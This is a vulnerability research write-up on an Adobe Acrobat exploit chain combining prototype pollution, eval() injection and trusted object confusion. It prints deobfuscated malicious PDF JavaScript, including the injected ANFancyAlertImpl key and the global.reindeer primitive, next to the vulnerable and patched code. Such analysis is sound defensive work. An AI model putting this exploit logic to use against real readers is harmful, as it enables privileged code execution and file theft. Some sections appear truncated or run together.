CVE-2026-34621 / 34622 / 34626 — Adobe Acrobat RCE Chain via Prototype Pollution & eval() Injection
Introduction
In April 2026, Adobe released a series of emergency security updates addressing multiple critical vulnerabilities in Adobe Acrobat Reader that were actively exploited in the wild. The vulnerabilities allowed attackers to achieve arbitrary JavaScript execution, prototype pollution, privilege escalation, and sensitive file access through malicious PDF documents.
| CVE | Advisory | Fixed Version | Type |
|---|---|---|---|
| CVE-2026-34621 | APSB26-43 | 26.001.21411 | Prototype Pollution (swConn) |
| CVE-2026-34622 | APSB26-44 | 26.001.21431 | Unsafe eval() injection (ANFancyAlertImpl) |
| CVE-2026-34626 | APSB26-44 | 26.001.21431 | Trusted Object Confusion (doc.path) |
This research is divided into two parts: Malware Analysis (extracting and deobfuscating the malicious JavaScript, reconstructing the payload and exploitation primitives) and Patch Diffing (comparing vulnerable vs patched versions to identify root causes and mitigations).
Key Discovery: What initially appeared to be a simple prototype pollution vulnerability was in fact a three-primitive chain — prototype pollution + unsafe eval injection + trusted object confusion — combining to cross trust boundaries and execute inside privileged Acrobat workflows.
Background & Timeline
swConn scoping but did not fully break the exploit chain. ANFancyAlertImpl() injection primitive remained reachable.Part 1 — Malware Analysis
Initial PDF Analysis
The first step was static analysis of the malicious PDF. PDF parsing tools were used to enumerate the document's internal object structure. The PDF contained multiple JavaScript objects, compressed streams, and several obfuscated payloads.
During enumeration, one object immediately stood out:
Recovering the BTN1 Payload
After partially deobfuscating Object 9, the script was observed attempting to recover a variable named btn1:
app.t = app[setTimeOut](util[stringFromStream](SOAP[streamDecode](
util[streamFromString](getField(btn1)[value]), base64)), 500);
The script dynamically decoded and processed this element before executing additional logic. Continuing enumeration identified Object 7 as the container holding the BTN1 blob — stored as a large Base64-encoded string.
Deobfuscating the Second-Stage JavaScript
The decoded JavaScript was significantly larger and contained multiple layers of obfuscation: decompression routines, encoded string tables, helper functions, and dynamically reconstructed execution paths. To understand the payload, the lookup table used by the obfuscator was reconstructed and original strings were progressively restored.
Recovering the Full Exploit Logic
Once fully deobfuscated, the payload exposed a far more sophisticated chain than initially expected. The malware defined a global function global.reindeer that dynamically created a second primitive global.execute:
global.reindeer = () => {
global.execute = function(data) {
try {
var stream = {
'read': app.trustedFunction.bind(app, filename)
};
var ob = {
'getFullName': SOAP.stringFromStream.bind(SOAP, stream)
};
// Primitive 1: Prototype Pollution
Object.prototype.__defineGetter__('swConn', () => ob);
var data = { 'WT': '' };
this.dirty = true;
// Primitive 3: Trusted Object Confusion
var pwnobj = {
'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
'substring': () => { throw new Error(''); }
};
this.__defineSetter__('path', () => pwnobj);
// Trigger privileged workflow
ANShareFile({ 'doc': eval('this') });
} catch(e) {}
};
};
Three Primitives Combined: This payload demonstrates all three exploitation primitives simultaneously — prototype pollution via __defineGetter__, trusted object confusion via __defineSetter__ on path, and abuse of privileged internal APIs (app.trustedFunction, SOAP.stringFromStream, ANShareFile).
The ANFancyAlertImpl Injection Primitive
The most critical part of the chain was how the attacker initially triggered the privileged execution path. The malware constructed the following crafted object:
var buttons = {
"a(a(a'); }); global.reindeer(); throw Error('oops'); //": 0
};
try {
ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);
} catch(e) {}
The payload does not call global.reindeer() directly. Instead, the attacker injects JavaScript into the key of the buttons object, which is then passed into ANFancyAlertImpl(). Reverse engineering revealed that Adobe internally:
- Iterated over button object keys
- Reconstructed JavaScript strings from them
- Evaluated them inside a privileged context
This created an internal eval()-like sink. The malicious key breaks out of expected parsing logic and injects global.reindeer().
Final Stage — Cleanup and Execution
// Remove prototype pollution traces after exploitation
delete Object.prototype.swConn;
// Trigger final privileged execution
global.execute(global.get);
The cleanup step removes evidence of the prototype pollution primitive. The final global.execute() call triggers the privileged Acrobat functionality, potentially enabling local resource access, data exfiltration, or native code execution depending on the target environment.
Part 2 — Patch Diffing
Recovering Vulnerable and Patched Versions
After reconstructing the exploit chain, patch diffing was performed by collecting both the vulnerable version and the patched release. A binary and JavaScript diff quickly revealed modifications in internal JavaScript-related components.
Internal scripts were compiled, packed, or transformed into proprietary formats. A custom extraction script was developed to reconstruct readable versions:
with open('/home/youssef/Desktop/RCE/Acrobat Patch 2/JSByteCodeWin.bin', 'rb') as f:
data = f.read()
marker = b'\x2f\x00\x2a\x00'
offset = data.find(marker)
if offset != -1:
text = data[offset:].decode('utf-16-le', errors='ignore')
with open('output3.js', 'w', encoding='utf-8') as out:
out.write(text)
print(f"Extracted from offset {hex(offset)}")
First Patch — Prototype Pollution Mitigation (CVE-2026-34621)
The first patch introduced a small but critical modification inside SilentDocCenterLogin(). The vulnerable code assigned without declaring a local variable:
// VULNERABLE — swConn resolved via prototype chain
swConn = Collab.swConnect(...);
// PATCHED — properly scoped local variable
var swConn = Collab.swConnect(...);
swConn from a global variable into a locally scoped variableBecause Acrobat's JavaScript engine resolves undeclared identifiers through the global object and prototype chain, the undeclared swConn became dangerous under prototype pollution — allowing the attacker to redirect trusted collaboration workflows toward attacker-controlled objects.
Incomplete Fix: This first patch only addressed prototype pollution. The ANFancyAlertImpl() injection primitive remained fully reachable, meaning the exploit chain was still executable through a different entry point.
Second Patch — ANFancyAlertImpl eval() Sink (CVE-2026-34622)
The second patch addressed the more dangerous primitive — attacker-controlled string injection into an internal execution context.
The root cause was that Adobe dynamically constructed button handlers using eval() with attacker-controlled input:
// VULNERABLE — eval() with attacker-controlled bid
desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
// PATCHED — safe closure, no dynamic evaluation
desc[bid] = (function(id) {
return function(dialog) {
dialog.end(id);
};
})(bid);
This change completely removes dynamic string evaluation and prevents attacker-controlled data from reaching the eval() sink — directly neutralizing the ANFancyAlertImpl injection primitive.
Third Patch — Trusted Object Confusion doc.path (CVE-2026-34626)
The third primitive exploited the assumption that doc.path was always a primitive string. Vulnerable collaboration workflows performed operations like:
// VULNERABLE — no type validation
data.docPath.substring(...)
data.docPath.lastIndexOf(...)
An attacker could substitute a crafted object with malicious method implementations instead of a real string:
var pwnobj = {
'lastIndexOf': SilentDocCenterLogin.bind(app, data, {}),
'substring': () => { throw new Error(''); }
};
this.__defineSetter__('path', () => pwnobj);
Adobe patched multiple collaboration functions to add type validation, including ANShareFile, ANStartApproval, ANSendForApproval, ANSendForReview, ANSendForSharedReview, and others.
Full Exploit Chain
After reconstructing both vulnerabilities and analyzing all three patches, the complete exploitation chain is:
Exploit : GitHub - CVE-2026-34621Conclusion
This research highlights how complex modern PDF exploitation chains have become. The analyzed exploit did not rely on a traditional memory corruption vulnerability — instead it combined JavaScript runtime manipulation, prototype pollution, unsafe internal evaluation behavior, and privileged execution context abuse.
Patch diffing proved especially valuable because it revealed the exact assumptions made by Adobe developers, the internal variables involved in exploitation, and the relationship between the three CVEs.
Perhaps the most instructive aspect of this case is that the first patch did not fully eliminate exploitation. Only after the second emergency release did the full attack chain become properly mitigated.
Key Takeaways: High-impact exploits frequently combine multiple smaller vulnerabilities rather than relying on a single isolated bug. Partial mitigations are often insufficient. Patch diffing remains one of the most effective techniques for vulnerability research — it reveals not just what was fixed, but why it was dangerous in the first place.